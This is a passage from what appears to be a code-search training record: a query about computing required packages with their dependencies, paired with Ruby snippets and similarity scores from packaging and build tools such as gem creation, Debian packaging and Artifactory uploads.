patch_dir, whitelist: [\"*.gemspec\", \"Rakefile\", \"metadata.yml\"])\n Packager.info \"#{self.class}: patched build files for ruby package before gem building: #{pkginfo.name}\"\n end\n\n # Allowed gem creation alternatives\n gem_creation_success = false\n\n # Gemspec often use the 'git ls -z' listings, which\n # might break if hidden files will be removed\n # without commiting -- so temporarily add and revert\n # again, to maintain the original commit id\n # TBD: or leave the commit and list the last N commits in the changelog\n Packager.info \"#{self.class}: temporarily commit changes in #{Dir.pwd}\"\n _,_,git_add_status = Open3.capture3(\"git add -A\")\n msg,git_commit_status = Open3.capture2(\"git commit -m 'Apaka: gem creation' --author 'Apaka Packager, <apaka@autocommit>'\")\n if !git_commit_status.success?\n Packager.info \"#{self.class}: commit failed: #{msg}\"\n end\n Gem.creation_alternatives.each do |target|\n msg, status = Open3.capture2e(pkginfo.env, \"bundle exec rake #{target}\")\n if !status.success?\n Packager.info \"#{self.class}: failed to create gem using target '#{target}' (see #{logfile})\"\n File.open(logfile,\"a+\") do |f|\n f.puts msg\n f.puts pkginfo.env\n end\n else\n Packager.info \"#{self.class}: succeeded to create gem using target '#{target}'\"\n gem_creation_success = true\n break\n end\n end\n if git_commit_status.success?\n Packager.info \"#{self.class}: git package status\"\n msg, git_revert = Open3.capture2(\"git reset --soft HEAD~1\")\n Packager.info \"#{self.class}: reversion of temporary commit failed\"\n end\n if not gem_creation_success\n raise RuntimeError, \"Debian: failed to create gem from RubyPackage #{pkginfo.name}\"\n end\n end\n\n gem = FileList[\"pkg/*.gem\"].first\n\n # Make the naming of the gem consistent with the naming schema of\n # other packages\n #\n # Make sure the gem has the fullname, e.g.\n # tools-metaruby instead of just metaruby\n if gem_name\n gem_name = gem.sub(Packaging.basename(pkginfo.name), gem_name)\n if gem != gem_name\n Packager.info \"#{self.class}: renaming #{gem} to #{gem_name}\"\n end\n else\n gem_name = gem\n end\n Packager.info \"#{self.class}: '#{pkginfo.name}' -- basename: #{Packaging.basename(pkginfo.name)} will be packaged as: #{gem_name}\"\n\n gem_final_path = File.join(packaging_dir, File.basename(gem_name))\n Packager.info \"#{self.class}: copy #{File.join(Dir.pwd, gem)} to #{gem_final_path}\"\n FileUtils.cp gem, gem_final_path\n return gem_final_path\n\n rescue Exception => e\n raise RuntimeError, \"#{self.class}: failed to create gem from RubyPackage #{pkginfo.name} -- #{e.message}\\n#{e.backtrace.drop(1).map{|s| \"\\t#{s}\"}}\"\n end\n end\n end", "def [](name)\n packages[name]\n end", "def package_name\n raise NotImplementedError\n end", "def package\n @options['package']\n end", "def package_name(val = NULL)\n if null?(val)\n @package_name || name\n else\n @package_name = val\n end\n end", "def lookup(package_name)\n pkgs = @rpms[package_name]\n if pkgs\n pkgs.sort.reverse\n else\n nil\n end\n end", "def package_get(ref)\n raise ArgumentError.new(ref.inspect) unless ref.package_id\n\n package_table.get(ref)\n end", "def package_dir_path\n \"#{package_dir}/#{package_name}\"\n end", "def name\n @name ||= Dir['*.gemspec'].first.split('.').first\nend", "def name\n @name ||= Dir['*.gemspec'].first.split('.').first\nend", "def name\n @name ||= Dir['*.gemspec'].first.split('.').first\nend", "def name\n @name ||= Dir['*.gemspec'].first.split('.').first\nend", "def parsepkg package, force_rhel = nil\n raise \"Can't parse package name '#{package}'\" unless /(?<pkgname>^.*?)-(?<ver>[0-9\\.]*\\d)[.-](?<pkginfo>.*)$/ =~ package\n\n info = { name: pkgname, version: ver }\n pkgparts = pkginfo.split /[.-]/\n case info[:format] = pkgparts.pop\n when 'rpm'\n info[:arch] = pkgparts.pop\n raise \"Architecture '#{info[:arch]}' is not supported\" unless ['x86_64','noarch'].include? info[:arch]\n if pkgparts.detect { |c| /^(?:rh)?el(\\d)(_.*)?$/ =~ c }\n info[:rhel] = $~[1]\n else\n raise \"Can't determine CentOS release for '#{package}'. Force with -c option\" unless force_rhel\n info[:rhel] = force_rhel\n end\n when 'gem'\n else\n raise \"Suffix #{info[:format]} is not a recognized package type\"\n end\n return info\nend", "def install(pkg_name)\n begin\n pkg_build_dir = packaging_dir(pkg_name)\n filepath = Dir.glob(\"#{pkg_build_dir}/*.deb\")\n if filepath.size < 1\n raise RuntimeError, \"No debian file found for #{pkg_name} in #{pkg_build_dir}: #{filepath}\"\n elsif filepath.size > 1\n raise RuntimeError, \"More than one debian file available in #{pkg_build_dir}: #{filepath}\"\n else\n filepath = filepath.first\n Packager.info \"Found package: #{filepath}\"\n end\n install_debfile(filepath)\n rescue Exception => e\n raise RuntimeError, \"Installation of package '#{pkg_name} failed -- #{e}\"\n end\n end", "def package\n unless @package\n @package = package_resource_class.new(download_dest, run_context)\n tailor_package_to_platform\n end\n @package\n end", "def resolve( name, version )\n # It is possible, and almost inevitable, that we can install two packages that must oscilate\n # at the same time. As a result, we will be relinking a package that has not been installed yet,\n # but will be on the next commit. In this situation, we need keep a cache of packages mapped in\n # this session, so that when this occurs, we can resolve it with no problems. In this way, we\n # maintain an instance variable hash that is added to whenever map() is called\n cached = @pkg_cache[ \"%s-%s\" % [ name, version ] ]\n if( cached != nil )\n return cached\n end\n\n # Past this, we do not want to proceed if the package is not present in the install\n # dir\n\n # We ensure that this package is in fact installed\n if( !File.directory?( Config.instance.install_dir + \"/\" + name + \"/\" + version ) )\n puts \"%s-%s is not installed!\" % [ name, version ]\n return nil\n end\n\n # If the cache file exists and is in fact a file, slurp it up and use that\n # I'd love to do some digest check here to:\n # 1. Ensure that the cache file is intact and valid\n # 2. The directory installed matches the one that this cache file was generated from\n\n # First, we check the cache to see if we've resolved this package before\n # Figure out where the cache file would be if it existed\n cache_file = Config.instance.cache_dir + \"/\" + name + \"-\" + version + \".json\"\n if( File.file?( cache_file ) )\n file = File.new( cache_file, \"r\" )\n buff = \"\"\n while (line = file.gets)\n buff += line\n end\n file.close( )\n pkg = JSON.parse( buff )\n return pkg\n end\n\n # If we haven't, we'll need to do a full trace of the package\n\n # It may be better to store all of our package file in\n # $(install_dir)/$(name)/$(version)/pkg_files\n # and store the manifest next to pkg_files\n # Therefore, when we need to do this, we can just consult the manifest for\n # data such as dependencies\n pkg = map( Config.instance.install_dir + \"/\" + name + \"/\" + version )\n file = File.new( cache_file, \"w\" )\n\n # Write metadata\n file.write( pkg.to_json( ) )\n\n file.close( )\n\n return pkg\n end", "def package\n p = Package.where(:id => self.package_id).first\n p ||= package_branch.latest(manifest) if package_branch.present?\n p\n end", "def is_module_package?(name)\n filename = File.expand_path(name)\n filename =~ /.tar.gz$/\n end", "def set_package_filename\n if @package_name.nil?\n @package_name = get_package_name\n end\n end", "def for_package(package)\n data = File.read(path_for(package))\n hash = FFI_Yajl::Parser.parse(data, symbolize_names: true)\n\n # Ensure Platform version has been truncated\n if hash[:platform_version] && hash[:platform]\n hash[:platform_version] = truncate_platform_version(hash[:platform_version], hash[:platform])\n end\n\n # Ensure an interation exists\n hash[:iteration] ||= 1\n\n new(package, hash)\n rescue Errno::ENOENT\n raise NoPackageMetadataFile.new(package.path)\n end", "def build_for(packages)\n metadata = packages.first.metadata\n name = metadata[:name]\n\n # Attempt to load the version manifest data from the packages metadata\n manifest = if version_manifest = metadata[:version_manifest]\n Manifest.from_hash(version_manifest)\n else\n Manifest.new(\n metadata[:version],\n # we already know the `version_manifest` entry is\n # missing so we can't pull in the `build_git_revision`\n nil,\n metadata[:license]\n )\n end\n\n # Upload the actual package\n log.info(log_key) { \"Saving build info for #{name}, Build ##{manifest.build_version}\" }\n\n Artifactory::Resource::Build.new(\n client: client,\n name: name,\n number: manifest.build_version,\n vcs_revision: manifest.build_git_revision,\n build_agent: {\n name: \"omnibus\",\n version: Omnibus::VERSION,\n },\n modules: [\n {\n # com.getchef:chef-server:12.0.0\n id: [\n Config.artifactory_base_path.tr(\"/\", \".\"),\n name,\n manifest.build_version,\n ].join(\":\"),\n artifacts: packages.map do |package|\n [\n {\n type: File.extname(package.path).split(\".\").last,\n sha1: package.metadata[:sha1],\n md5: package.metadata[:md5],\n name: package.metadata[:basename],\n },\n {\n type: File.extname(package.metadata.path).split(\".\").last,\n sha1: digest(package.metadata.path, :sha1),\n md5: digest(package.metadata.path, :md5),\n name: File.basename(package.metadata.path),\n },\n ]\n end.flatten,\n },\n ]\n )\n end", "def package(pkg, options = Hash.new)\n\n options, unknown_options = Kernel.filter_options options,\n :force_update => false,\n :existing_source_dir => nil,\n :patch_dir => nil\n\n if options[:force_update]\n dirname = File.join(OBS_BUILD_DIR, debian_name(pkg))\n if File.directory?(dirname)\n Packager.info \"Debian: rebuild requested -- removing #{dirname}\"\n FileUtils.rm_rf(dirname)\n end\n end\n\n prepare_source_dir(pkg, options)\n\n if pkg.kind_of?(Autobuild::CMake) || pkg.kind_of?(Autobuild::Autotools)\n package_deb(pkg, options)\n elsif pkg.kind_of?(Autoproj::RubyPackage)\n package_ruby(pkg, options)\n else\n raise ArgumentError, \"Debian: Unsupported package type #{pkg.class} for #{pkg.name}\"\n end\n end", "def package_ruby(pkg, options) \n # update dependencies in any case, i.e. independant if package exists or not\n deps = dependencies(pkg)\n Dir.chdir(pkg.srcdir) do\n begin\n logname = \"obs-#{pkg.name.sub(\"/\",\"-\")}\" + \"-\" + Time.now.strftime(\"%Y%m%d-%H%M%S\").to_s + \".log\"\n gem = FileList[\"pkg/*.gem\"].first\n if not gem \n Packager.info \"Debian: creating gem from package #{pkg.name}\"\n if !system(\"rake gem 2> #{File.join(OBS_LOG_DIR, logname)}\")\n raise \"Debian: failed to create gem from RubyPackage #{pkg.name}\"\n Packager.warn \" check: #{File.expand_path(logname)}\"\n end\n end\n\n gem = FileList[\"pkg/*.gem\"].first\n\n # Make the naming of the gem consistent with the naming schema of\n # rock packages\n #\n # Make sure the gem has the fullname, e.g.\n # tools-metaruby instead of just metaruby\n gem_rename = gem.sub(basename(pkg.name), canonize(pkg.name))\n if gem != gem_rename\n Packager.info \"Debian: renaming #{gem} to #{gem_rename}\"\n FileUtils.mv gem, gem_rename\n gem = gem_rename\n end\n\n Packager.debug \"Debian: copy #{gem} to #{packaging_dir(pkg)}\"\n FileUtils.cp gem, packaging_dir(pkg)\n gem_final_path = File.join(packaging_dir(pkg), File.basename(gem))\n\n # Prepare injection of dependencies\n options[:deps] = deps\n convert_gem(gem_final_path, options)\n # register gem with the correct naming schema\n # to make sure dependency naming and gem naming are consistent\n @ruby_rock_gems << debian_name(pkg)\n rescue Exception => e\n raise \"Debian: failed to create gem from RubyPackage #{pkg.name} -- #{e.message}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n end\n end", "def package_enabled?(name)\n Autoproj.workspace.manifest.package_enabled?(name, false)\nend", "def to_package\n package = Package.new(root)\n package.name = name\n package.version = version\n package.date = released\n package.path = loadpath\n package\n end", "def check_for_package host, package_name\n host.check_for_package package_name\n end", "def get_saltstack_package_full_name(package)\n # pillar = YAML.safe_load(File.read('test/salt/pillar/windows.sls'))\n url = 'https://raw.githubusercontent.com/saltstack/salt-winrepo-ng/master/'\n files = [package + '.sls', package + '/init.sls']\n # example: package = \"7zip\"=>{\"version\"=>\"18.06.00.0\", \"refresh_minion_env_path\"=>false}\n saltstack_package_full_name = files.find do |checkme|\n ps = \"$f = (((Get-ChildItem -Path $env:LOCALAPPDATA -Filter 'salt-winrepo-ng' -Recurse -Directory).Fullname[0]) + '\\\\#{checkme.sub('/', '\\\\')}'); if (Test-Path $f -PathType Leaf) {Get-Content -Path $f}\"\n begin\n file = (open(url + checkme) & :read)\n rescue\n begin\n file = (powershell(ps).stdout)\n rescue\n next\n end\n end\n unless file.nil? || file.empty?\n candidate = file.match(/full_name: '([\\S]+).*'/).captures[0]\n end\n break candidate unless candidate.nil?\n end\n Inspec::Log.debug('[get_saltstack_package_full_name] found candidate: ' + saltstack_package_full_name)\n saltstack_package_full_name\nend", "def gem(name, options={})\n puts \"vendoring gem #{name}\"\n if options[:git]\n in_root(\"vendor/gems\") do\n Git.clone(options[:git], options[:branch])\n end\n elsif options[:svn]\n in_root(\"vendor/gems\") do\n Svn.checkout(options[:svn], options[:branch])\n end\n else \n # TODO: Gem dependencies. Split output on \\n, iterate lines looking for Downloaded...\n in_root(\"vendor/gems\") do\n # Filename may be different than gem name\n filename = (`gem fetch #{name}`).chomp.gsub(/Downloaded /, '')\n\n `gem unpack #{filename}.gem`\n File.delete(\"#{filename}.gem\")\n end\n end\n end", "def package_selected?(name)\n Autoproj.workspace.manifest.package_selected?(name, false)\nend", "def get_setuptools\n\t\tpackage_name = \"python-setuptools\"\n\t\tcase node.platform\n\t\twhen /fedora|redhat|centos|ubuntu/\n\t\t package_name = \"python-setuptools\"\n\t\tend\n\t\tpackage_name\n\tend" ]
[ "0.78735316", "0.7308889", "0.71477664", "0.70809656", "0.7001573", "0.6903826", "0.67255795", "0.66589457", "0.65105104", "0.6501024", "0.6466158", "0.6418093", "0.64136064", "0.63621414", "0.6347435", "0.62475765", "0.6244994", "0.6223059", "0.62112516", "0.6147004", "0.6142109", "0.6139259", "0.6132026", "0.6109701", "0.6064494", "0.60624814", "0.60557896", "0.60268533", "0.6026247", "0.6013439", "0.5994524", "0.5979833", "0.5971864", "0.59537435", "0.594062", "0.59357125", "0.5920132", "0.5909903", "0.59031355", "0.5899291", "0.5887922", "0.5876076", "0.58733606", "0.5823398", "0.5816488", "0.5795435", "0.5778733", "0.5760584", "0.57577467", "0.5754342", "0.5752266", "0.5744002", "0.57431114", "0.5743057", "0.57334363", "0.572756", "0.57132524", "0.5703561", "0.569831", "0.5697437", "0.56927264", "0.5692659", "0.568738", "0.56797284", "0.567415", "0.567415", "0.5659191", "0.56568927", "0.565589", "0.5651733", "0.56421494", "0.56420887", "0.56416565", "0.5637927", "0.5633341", "0.5595677", "0.5581268", "0.55739766", "0.5570463", "0.5570463", "0.5570463", "0.5570463", "0.55635464", "0.5559275", "0.55564433", "0.5554893", "0.55533504", "0.55464584", "0.5538683", "0.55329776", "0.5528391", "0.5525411", "0.5525226", "0.55197984", "0.55169094", "0.5507205", "0.55056643", "0.55046153", "0.5500002", "0.5499971" ]
0.6379971
13
Compute all required packages from a given selection including the dependencies The selection is a list of package names The order of the resulting package list is sorted accounting for interdependencies among packages
def all_required_rock_packages(selection) raise RuntimeError, "#{self.class} needs to overwrite all_required_rock_packages" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def depend_upon(match_name) #, constraint)\n list = []\n each do |name, libs|\n case libs\n when Library\n list << libs if libs.requirements.any?{ |r| match_name == r['name'] } \n else\n libs.each do |lib|\n list << lib if lib.requirements.any?{ |r| match_name == r['name'] } \n end\n end\n end\n list\n end", "def package_selection(selection,\n force_update: nil,\n patch_dir: nil,\n package_set_dir: nil,\n use_remote_repository: false)\n sync_packages = {}\n selected_gems = []\n\n selection.each_with_index do |pkginfo, i|\n pkg_name = pkginfo.name\n pkg = pkginfo.pkg\n\n Autoproj.message \"Packaging #{pkg_name} (#{i + 1}/#{selection.size})\", :green\n # Making sure all packages that require base/cmake due to using Rock CMake macros have\n # a dependency on base/cmake\n if File.file?(File.join(pkg.srcdir, \"CMakeLists.txt\"))\n cmakelists_txt = File.read(File.join(pkg.srcdir, \"CMakeLists.txt\"))\n if cmakelists_txt =~ /include\\(Rock\\)|Rock\\.cmake/ || cmakelists_txt =~ /find_package\\(Rock\\)/\n pkg.depends_on \"base/cmake\" unless pkg.name == \"base/cmake\"\n end\n end\n\n begin\n options = {:force_update => force_update, :patch_dir => patch_dir, :package_set_dir => package_set_dir}\n if !use_remote_repository\n options[:existing_source_dir] = pkg.srcdir\n end\n # just to update the required gem property\n selected_gems.concat pkginfo.dependencies[:extra_gems]\n\n # Perform the actual packaging\n package(pkginfo, options)\n\n sync_packages[pkg_name] = { :debian_name => debian_name(pkginfo),\n :build_deps => build_dependencies(pkginfo),\n :type => :package\n }\n rescue Interrupt\n raise\n rescue Exception => e\n Apaka::Packaging.warn \"failed to package #{pkg.name}: #{e.message} #{e.backtrace}\"\n next\n end\n end\n [sync_packages, selected_gems.uniq]\n end", "def all_required_packages(selection, with_rock_release_prefix = false)\n raise RuntimeError, \"#{self.class} needs to overwrite all_required_packages\"\n end", "def expand_package_selection(selection, filter: true)\n result = PackageSelection.new\n\n all_selected_packages = self.all_selected_packages.to_set\n all_source_package_names = all_package_names\n all_osdeps_package_names = os_package_resolver.all_package_names\n selection.each do |sel|\n match_pkg_name = Regexp.new(Regexp.quote(sel))\n all_matches = Array.new\n each_metapackage do |meta_pkg|\n if meta_pkg.name =~ match_pkg_name\n all_matches << [meta_pkg.name, meta_pkg.name == sel]\n end\n end\n all_source_package_names.each do |pkg_name|\n pkg = find_autobuild_package(pkg_name)\n if pkg.name =~ match_pkg_name\n all_matches << [pkg.name, pkg.name == sel]\n elsif \"#{sel}/\".start_with?(\"#{pkg.srcdir}/\")\n all_matches << [pkg.name, true]\n elsif pkg.respond_to?(:builddir) && \"#{sel}/\".start_with?(\"#{pkg.builddir}/\")\n all_matches << [pkg.name, true]\n elsif pkg.srcdir.start_with?(sel) && all_selected_packages.include?(pkg.name)\n all_matches << [pkg.name, false]\n end\n end\n all_osdeps_package_names.each do |pkg_name|\n if pkg_name =~ match_pkg_name\n all_matches << [pkg_name, pkg_name == sel]\n end\n end\n\n exact_matches, partial_matches =\n all_matches.partition { |_, exact_match| exact_match }\n selected_partial_matches, not_selected_partial_matches =\n partial_matches.partition { |pkg_name, _| all_selected_packages.include?(pkg_name) }\n not_selected_partial_matches.clear if result.has_match_for?(sel)\n\n matches =\n [exact_matches, selected_partial_matches, not_selected_partial_matches]\n .find { |m| !m.empty? }\n\n matches&.each do |pkg_name, _|\n update_selection(result, sel, pkg_name, true)\n end\n end\n\n result.filter_excluded_and_ignored_packages(self) if filter\n\n nonresolved = selection - result.matches.keys\n [result, nonresolved]\n end", "def default_packages(validate = true)\n if has_layout?\n layout_packages(validate)\n else\n result = PackageSelection.new\n all_package_names.each do |pkg_name|\n package_type, package_name = resolve_single_package_name(pkg_name).first\n next if excluded?(package_name) || ignored?(package_name)\n\n result.select(package_name, package_name, osdep: (package_type == :osdeps))\n end\n result\n end\n end", "def import_selected_packages(selection, updated_packages, options = Hash.new)\n all_processed_packages = Set.new\n\n parallel_options, options = Kernel.filter_options options,\n parallel: ws.config.parallel_import_level\n\n # This is used in the ensure block, initialize as early as\n # possible\n executor = Concurrent::FixedThreadPool.new(parallel_options[:parallel], max_length: 0)\n\n options, import_options = Kernel.filter_options options,\n recursive: true,\n retry_count: nil\n\n ignore_errors = options[:ignore_errors]\n retry_count = options[:retry_count]\n manifest = ws.manifest\n\n selected_packages = selection.each_source_package_name.map do |pkg_name|\n manifest.find_autobuild_package(pkg_name)\n end.to_set\n\n # The reverse dependencies for the package tree. It is discovered as\n # we go on with the import\n #\n # It only contains strong dependencies. Optional dependencies are\n # not included, as we will use this only to take into account\n # package exclusion (and that does not affect optional dependencies)\n reverse_dependencies = Hash.new { |h, k| h[k] = Set.new }\n\n completion_queue = Queue.new\n pending_packages = Set.new\n # The set of all packages that are currently selected by +selection+\n all_processed_packages = Set.new\n interactive_imports = Array.new\n package_queue = selected_packages.to_a.sort_by(&:name)\n failures = Hash.new\n while failures.empty? || ignore_errors\n # Queue work for all packages in the queue\n package_queue.each do |pkg|\n # Remove packages that have already been processed\n next if all_processed_packages.include?(pkg)\n all_processed_packages << pkg\n\n if !pre_package_import(selection, manifest, pkg, reverse_dependencies)\n next\n elsif pkg.importer.interactive?\n interactive_imports << pkg\n next\n end\n\n pending_packages << pkg\n import_future = Concurrent::Future.new(executor: executor, args: [pkg]) do |import_pkg|\n ## COMPLETELY BYPASS RAKE HERE\n # The reason is that the ordering of import/prepare between\n # packages is not important BUT the ordering of import vs.\n # prepare in one package IS important: prepare is the method\n # that takes into account dependencies.\n if retry_count\n import_pkg.importer.retry_count = retry_count\n end\n import_pkg.import(import_options.merge(allow_interactive: false))\n end\n import_future.add_observer do |time, result, reason|\n completion_queue << [pkg, time, result, reason]\n end\n import_future.execute\n end\n package_queue.clear\n\n if completion_queue.empty? && pending_packages.empty?\n # We've nothing to process anymore ... process\n # interactive imports if there are some. Otherwise,\n # we're done\n if interactive_imports.empty?\n return all_processed_packages\n else\n interactive_imports.each do |pkg|\n begin\n result = pkg.import(import_options.merge(allow_interactive: true))\n rescue Exception => reason\n end\n completion_queue << [pkg, Time.now, result, reason]\n end\n interactive_imports.clear\n end\n end\n\n # And wait one to finish\n pkg, time, result, reason = completion_queue.pop\n pending_packages.delete(pkg)\n if reason\n if reason.kind_of?(Autobuild::InteractionRequired)\n interactive_imports << pkg\n else\n # One importer failed... terminate\n Autoproj.error \"import of #{pkg.name} failed\"\n if !reason.kind_of?(Interrupt)\n Autoproj.error \"#{reason}\"\n end\n failures[pkg] = reason\n end\n else\n if new_packages = post_package_import(selection, manifest, pkg, reverse_dependencies)\n # Excluded dependencies might have caused the package to be\n # excluded as well ... do not add any dependency to the\n # processing queue if it is the case\n if manifest.excluded?(pkg.name)\n selection.filter_excluded_and_ignored_packages(manifest)\n elsif options[:recursive]\n package_queue = new_packages.sort_by(&:name)\n end\n end\n end\n end\n\n if !failures.empty?\n raise ImportFailed, \"import of #{failures.size} packages failed: #{failures.keys.map(&:name).sort.join(\", \")}\"\n end\n\n all_processed_packages\n\n ensure\n if failures && !failures.empty? && !ignore_errors\n Autoproj.error \"waiting for pending import jobs to finish\"\n end\n if executor\n executor.shutdown\n executor.wait_for_termination\n end\n updated_packages.concat(all_processed_packages.find_all(&:updated?).map(&:name))\n end", "def import_selected_packages(selection,\n parallel: ws.config.parallel_import_level,\n recursive: true,\n retry_count: nil,\n keep_going: false,\n install_vcs_packages: Hash.new,\n non_imported_packages: :checkout,\n auto_exclude: auto_exclude?,\n filter: ->(package) { true },\n **import_options)\n\n unless %i[checkout ignore return].include?(non_imported_packages)\n raise ArgumentError, \"invalid value for 'non_imported_packages'. \"\\\n \"Expected one of :checkout, :ignore or :return \"\\\n \"but got #{non_imported_packages}\"\n end\n\n # This is used in the ensure block, initialize as early as\n # possible\n executor = Concurrent::FixedThreadPool.new(parallel)\n manifest = ws.manifest\n\n selected_packages = selection.each_source_package_name.map do |pkg_name|\n manifest.find_package_definition(pkg_name)\n end.to_set\n\n # The reverse dependencies for the package tree. It is discovered as\n # we go on with the import\n #\n # It only contains strong dependencies. Optional dependencies are\n # not included, as we will use this only to take into account\n # package exclusion (and that does not affect optional dependencies)\n reverse_dependencies = Hash.new { |h, k| h[k] = Set.new }\n\n completion_queue = Queue.new\n pending_packages = Set.new\n # The set of all packages that are currently selected by +selection+\n all_processed_packages = Set.new\n main_thread_imports = Array.new\n package_queue = selected_packages.to_a.sort_by(&:name)\n\n failures = Array.new\n missing_vcs = Array.new\n installed_vcs_packages = Set[\"none\", \"local\"]\n while failures.empty? || keep_going\n # Allow 'filter' to parallelize as well\n if filter.respond_to?(:lookahead)\n package_queue.each { |pkg| filter.lookahead(pkg) }\n end\n\n # Queue work for all packages in the queue\n package_queue.each do |pkg|\n # Remove packages that have already been processed\n next if all_processed_packages.include?(pkg)\n\n vcs_installed = installed_vcs_packages.include?(pkg.vcs.type)\n if (non_imported_packages != :checkout) && !pkg.checked_out?\n all_processed_packages << pkg\n if non_imported_packages == :return\n completion_queue << [pkg, Time.now, false, nil]\n else\n ws.manifest.ignore_package(pkg.name)\n end\n next\n elsif install_vcs_packages && !vcs_installed\n missing_vcs << pkg\n next\n end\n all_processed_packages << pkg\n\n unless filter.call(pkg)\n completion_queue << [pkg, Time.now]\n next\n end\n\n importer = pkg.autobuild.importer\n if !pre_package_import(selection, manifest, pkg.autobuild,\n reverse_dependencies)\n next\n elsif !importer\n # The validity of this is checked in\n # pre_package_import\n completion_queue << [pkg, Time.now, false, nil]\n next\n elsif importer.interactive?\n main_thread_imports << pkg\n next\n elsif pkg.checked_out? && import_options[:checkout_only]\n main_thread_imports << pkg\n next\n end\n\n begin\n pending_packages << pkg\n queue_import_work(\n executor, completion_queue, pkg,\n retry_count: retry_count,\n **import_options.merge(allow_interactive: false)\n )\n rescue Exception\n pending_packages.delete(pkg)\n raise\n end\n end\n package_queue.clear\n\n if completion_queue.empty? && pending_packages.empty?\n unless missing_vcs.empty?\n installed_vcs_packages.merge(\n install_vcs_packages_for(\n *missing_vcs,\n install_only: import_options[:checkout_only],\n **install_vcs_packages\n )\n )\n package_queue.concat(missing_vcs)\n missing_vcs.clear\n next\n end\n\n # We've nothing to process anymore ... process\n # interactive imports if there are some. Otherwise,\n # we're done\n if main_thread_imports.empty?\n break\n else\n main_thread_imports.delete_if do |pkg|\n begin\n if retry_count\n pkg.autobuild.importer.retry_count = retry_count\n end\n result = pkg.autobuild.import(\n **import_options.merge(allow_interactive: true)\n )\n rescue StandardError => e\n end\n completion_queue << [pkg,\n Time.now, result, e]\n end\n end\n end\n\n # And wait for one to finish\n pkg, _time, _result, reason = completion_queue.pop\n pending_packages.delete(pkg)\n if reason\n if reason.kind_of?(Autobuild::InteractionRequired)\n main_thread_imports << pkg\n elsif auto_exclude\n manifest.add_exclusion(\n pkg.name, \"#{pkg.name} failed to import with \"\\\n \"#{reason} and auto_exclude was true\"\n )\n selection.filter_excluded_and_ignored_packages(manifest)\n else\n # One importer failed... terminate\n Autoproj.error \"import of #{pkg.name} failed\"\n Autoproj.error reason.to_s unless reason.kind_of?(Interrupt)\n failures << reason\n end\n else\n new_packages = post_package_import(\n selection, manifest, pkg, reverse_dependencies,\n auto_exclude: auto_exclude\n )\n if new_packages\n # Excluded dependencies might have caused the package to be\n # excluded as well ... do not add any dependency to the\n # processing queue if it is the case\n if manifest.excluded?(pkg.name)\n selection.filter_excluded_and_ignored_packages(manifest)\n elsif recursive\n package_queue = new_packages.sort_by(&:name)\n end\n end\n end\n end\n\n all_processed_packages.delete_if do |processed_pkg|\n ws.manifest.excluded?(processed_pkg.name) ||\n ws.manifest.ignored?(processed_pkg.name)\n end\n [all_processed_packages, failures]\n ensure\n if failures && !failures.empty? && !keep_going\n Autoproj.error \"waiting for pending import jobs to finish\"\n end\n if executor\n executor.shutdown\n executor.wait_for_termination\n end\n end", "def dependencies\n version_req = if options[:version]\n ::Gem::Requirement.create(options[:version])\n else\n ::Gem::Requirement.default\n end\n if gem_dir\n ::Gem.clear_paths; ::Gem.path.unshift(gem_dir)\n ::Gem.source_index.refresh!\n end\n deps = []\n ::Gem.source_index.each do |fullname, gemspec| \n if version_req.satisfied_by?(gemspec.version)\n deps << ::Gem::Dependency.new(gemspec.name, \"= #{gemspec.version}\")\n end\n end\n ::Gem.clear_paths if gem_dir\n deps.sort\n end", "def depends_upon(match_name) #, constraint)\n list = []\n $LEDGER.each do |name, libs|\n case libs\n when Library\n list << libs if libs.requirements.any?{ |r| match_name == r['name'] } \n else\n libs.each do |lib|\n list << lib if lib.requirements.any?{ |r| match_name == r['name'] } \n end\n end\n end\n list\n end", "def layout_packages(validate = true)\n result = PackageSelection.new\n Autoproj.in_file(file) do\n normalized_layout.each_key do |pkg_or_set|\n weak =\n if (meta = metapackages[pkg_or_set])\n meta.weak_dependencies?\n end\n\n resolve_package_name(pkg_or_set).each do |pkg_type, pkg_name|\n result.select(\n pkg_or_set, pkg_name,\n osdep: (pkg_type == :osdeps),\n weak: weak\n )\n end\n rescue PackageNotFound => e\n raise e, \"#{pkg_or_set}, which is selected in the layout, \"\\\n \"is unknown: #{e.message}\", e.backtrace\n end\n end\n\n begin\n result.filter_excluded_and_ignored_packages(self)\n rescue ExcludedSelection => e\n if validate\n raise e, \"#{e.selection}, which is selected in the layout, cannot be built: #{e.message}\", e.backtrace\n end\n end\n result\n end", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def resolve_package(selection)\n matching_packages = find_packages(selection)\n if matching_packages.empty?\n matching_packages = find_packages_with_directory_shortnames(selection)\n end\n\n if matching_packages.size > 1\n # If there is more than one candidate, check if there are some that are not\n # present on disk\n present = matching_packages.find_all { |pkg| File.directory?(pkg.srcdir) }\n matching_packages = present if present.size == 1\n end\n\n if matching_packages.empty?\n raise CLIInvalidArguments, \"cannot find '#{selection}' in the current autoproj installation\"\n elsif matching_packages.size > 1\n raise CLIAmbiguousArguments, \"multiple packages match '#{selection}' in the current autoproj installation: #{matching_packages.map(&:name).sort.join(', ')}\"\n else\n matching_packages.first\n end\n end", "def dependencies( *args )\n names = args # note: for now assume all args are just names\n # e.g. 'pluto-models', 'pluto-update', etc.\n deps = @versions.select do |rec| names.include?( rec[0] ) end\n .map do |rec| [rec[0], rec[1]] end\n\n ## todo/fix: throw exception if dependency is missing!\n ## names.size == deps.size\n puts \"names.size == deps.size #{names.size} == #{deps.size}\"\n deps\n end", "def find_dependencies(deps=nil, verbose=false)\n \n deps ||= all_dependencies\n\n search_list = Array(deps)\n found = []\n ret = []\n \n # if we discover a new local package via indirect dependencies then\n # it's dependencies will be fetchable one time.\n fetchable = Set.new\n \n until search_list.empty?\n name, version = search_list.shift\n\n if dup = found.find{|p| p.name == name}\n # already found, check for conflicts\n next if satisfied_by?(version, dup.version)\n raise PackageConflictError.new(name, dup.version, version)\n end\n\n pkg = locate_package(name, version, verbose)\n if pkg.nil? && fetchable.include?(name)\n fetchable.reject! { |x| x == name }\n core_fetch_dependency(name, version, :runtime, true) \n pkg = locate_package name, version, 